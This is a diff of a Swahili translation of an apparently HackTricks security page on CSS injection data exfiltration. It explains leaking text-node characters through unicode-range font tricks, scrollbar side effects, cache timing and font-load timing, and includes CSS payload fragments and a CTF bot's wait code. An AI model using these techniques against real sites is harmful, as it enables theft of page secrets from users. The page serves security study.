+2. **Suffix**: Mstari/mistari inayofuata.
 
-Hatua za mpito za herufi zitaonekana kama ifuatavyo:
+Hatua za mabadiliko ya wahusika zitaonekana kama ifuatavyo:
 
 **C**\
 ADB
@@ -273,13 +309,13 @@ B
 
 **CADB**
 
-Wakati wa mpito huu, **hila ya unicode-range** inatumika kubaini kila herufi mpya inapojiunga na prefix. Hii inafanywa kwa kubadilisha fonti kuwa Comic Sans, ambayo ni ndefu zaidi kuliko fonti ya kawaida, hivyo kusababisha kuonekana kwa scrollbar ya wima. Kuonekana kwa scrollbar hii kunaonyesha kwa njia isiyo ya moja kwa moja uwepo wa herufi mpya katika prefix.
+Wakati wa mchakato huu, trick ya `unicode-range` inatumiwa kutambua kila herufi mpya inapojumuishwa kwenye prefix. Hii inafikiwa kwa kubadili font kuwa Comic Sans, ambayo ni wazi kuwa ndefu zaidi kuliko font ya default, na hivyo kusababisha scrollbar ya wima. Kuonekana kwa scrollbar hii kwa njia isiyo ya moja kwa moja kunaonyesha uwepo wa herufi mpya katika prefix.
 
-Ingawa njia hii inaruhusu kugundua herufi za kipekee zinapojitokeza, haijabainisha ni herufi ipi inarudiwa, bali tu kwamba kurudiwa kumetokea.
+Ingawa njia hii inaruhusu kugundua herufi za kipekee zinapoonekana, haisemi ni herufi gani imekurudishwa, bali tu kwamba kurudishwa kumejitokeza.
 
-> [!NOTE]
-> Kimsingi, **unicode-range inatumika kugundua herufi**, lakini kwa kuwa hatutaki kupakia fonti za nje, tunahitaji kutafuta njia nyingine.\
-> Wakati **herufi** inapatikana, inapewa **fonti ya Comic Sans** iliyowekwa awali, ambayo inafanya herufi kuwa **kubwa** na inasababisha **kuonekana kwa scrollbar** ambayo itavuja **herufi iliyopatikana**.
+> [!TIP]
+> Kwa msingi, `unicode-range` inatumika kugundua herufi, lakini kwa kuwa hatutaki kupakia font ya nje, tunahitaji njia nyingine.\
+> Wakati herufi inapotambuliwa, inatolewa na kupatiwa font ya kabla imewekwa Comic Sans, ambayo inafanya herufi kuwa kubwa zaidi na kusababisha scrollbar ambayo italeak herufi iliyopatikana.
 
 Check the code extracted from the PoC:
 ```css
@@ -706,17 +742,17 @@ div::-webkit-scrollbar:vertical {
 background: blue var(--leak);
 }
 ```
-### Text node exfiltration (III): kuvuja charset kwa font ya kawaida kwa kuficha vipengele (sio inahitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Reference:** Hii inatajwa kama [suluhisho lisilo fanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Marejeo:** Hii imetajwa kama [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-Kesi hii ni sawa sana na ile ya awali, hata hivyo, katika kesi hii lengo la kufanya **chars fulani kuwa kubwa kuliko zingine ni kuficha kitu** kama kitufe kisichopaswa kubonyezwa na bot au picha ambayo haitapakiwa. Hivyo tunaweza kupima kitendo (au ukosefu wa kitendo) na kujua kama char fulani ipo ndani ya maandiko.
+Kesi hii ni sawa sana na ile ya awali, hata hivyo, katika kesi hii lengo la kufanya **chars maalum kuwa kubwa kuliko mengine ni kukificha kitu** kama kitufe ili kisibonyezwe na bot au picha ambayo haitapakiwa. Kwa hivyo tunaweza kupima kitendo (au kukosekana kwa kitendo) na kujua ikiwa char maalum ipo ndani ya maandishi.
 
-### Text node exfiltration (III): kuvuja charset kwa cache timing (sio inahitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Reference:** Hii inatajwa kama [suluhisho lisilo fanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Marejeo:** Hii imetajwa kama [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-Katika kesi hii, tunaweza kujaribu kuvuja kama char ipo katika maandiko kwa kupakia font ya uwongo kutoka chanzo kilekile:
+Katika kesi hii, tunaweza kujaribu leak ikiwa char iko ndani ya maandishi kwa kupakia a fake font kutoka the same origin:
 ```css
 @font-face {
 font-family: "A1";
@@ -724,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
 unicode-range: U+0041;
 }
 ```
-Ikiwa kuna mechi, **font itapakiwa kutoka `/static/bootstrap.min.css?q=1`**. Ingawa haitapakia kwa mafanikio, ** kivinjari kinapaswa kukiweka**, na hata kama hakuna cache, kuna **mekanism ya 304 isiyo badilishwa**, hivyo **jibu linapaswa kuwa haraka** kuliko mambo mengine.
+Ikiwa kuna mechi, **font itapakiwa kutoka `/static/bootstrap.min.css?q=1`**. Ingawa haitapakia kwa mafanikio, **kivinjari kinapaswa kuihifadhi kwenye cache**, na hata kama hakuna cache, kuna mekanismu ya **304 not modified**, hivyo **majibu yanapaswa kuwa ya haraka** kuliko vitu vingine.
 
-Hata hivyo, ikiwa tofauti ya muda ya jibu lililohifadhiwa kutoka kwa lile lisilohifadhiwa si kubwa vya kutosha, hii haitakuwa na manufaa. Kwa mfano, mwandishi alitaja: Hata hivyo, baada ya kupima, niligundua kuwa tatizo la kwanza ni kwamba kasi si tofauti sana, na tatizo la pili ni kwamba bot inatumia bendera ya `disk-cache-size=1`, ambayo ni ya kufikiria sana.
+Walakini, ikiwa tofauti ya muda kati ya majibu yaliyo kwenye cache na yasiyo kwenye cache si kubwa kutosha, hii haitakuwa ya msaada. Kwa mfano, mwandishi alitaja: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.
 
-### Uhamasishaji wa nodi ya maandiko (III): kuvuja charset kwa kupima kupakia mamia ya "fonts" za ndani (zinazohitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Marejeleo:** Hii inatajwa kama [suluhisho lisilo fanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Marejeo:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-Katika kesi hii unaweza kuonyesha **CSS kupakia mamia ya fonts za uongo** kutoka chanzo kimoja wakati mechi inatokea. Kwa njia hii unaweza **kupima muda** inachukua na kugundua ikiwa herufi inaonekana au la kwa kitu kama:
+Katika kesi hii unaweza kuonyesha **CSS ili kupakia mamia ya fake fonts** kutoka same origin wakati mechi inapotokea. Kwa njia hii unaweza **kupima muda** unaochukua na kugundua kama char inaonekana au la kwa kitu kama:
 ```css
 @font-face {
 font-family: "A1";
@@ -741,19 +777,25 @@ src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
 unicode-range: U+0041;
 }
 ```
-Na msimbo wa bot unaonekana kama ifuatavyo:
+Na code ya bot inaonekana hivi:
 ```python
 browser.get(url)
 WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
 time.sleep(30)
 ```
-Hivyo, ikiwa fonti haifananishi, muda wa majibu unapofika kwenye bot unatarajiwa kuwa takriban sekunde 30. Hata hivyo, ikiwa kuna ulinganifu wa fonti, maombi mengi yatatumwa ili kupata fonti, na kusababisha mtandao kuwa na shughuli za kuendelea. Kama matokeo, itachukua muda mrefu kutimiza hali ya kusitisha na kupokea majibu. Kwa hivyo, muda wa majibu unaweza kutumika kama kiashiria kubaini ikiwa kuna ulinganifu wa fonti.
+Kwa hivyo, ikiwa font haifanani, muda wa majibu wakati wa kutembelea bot unatarajiwa kuwa takriban sekunde 30. Hata hivyo, ikiwa kuna mechi ya font, maombi mengi yatapelekwa ili kupata font, na kusababisha mtandao kuwa na shughuli endelevu. Matokeo yake, itachukua muda mrefu kufikia masharti ya kusitisha na kupokea jibu. Kwa hivyo, muda wa majibu unaweza kutumika kama kiashiria cha kubaini kama kuna mechi ya font.
 
-## References
+## Marejeo
 
 - [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
 - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
 - [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
 - [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
+- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
+- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
+- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
+- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
+- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
+- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
 
 {{#include ../../../banners/hacktricks-training.md}}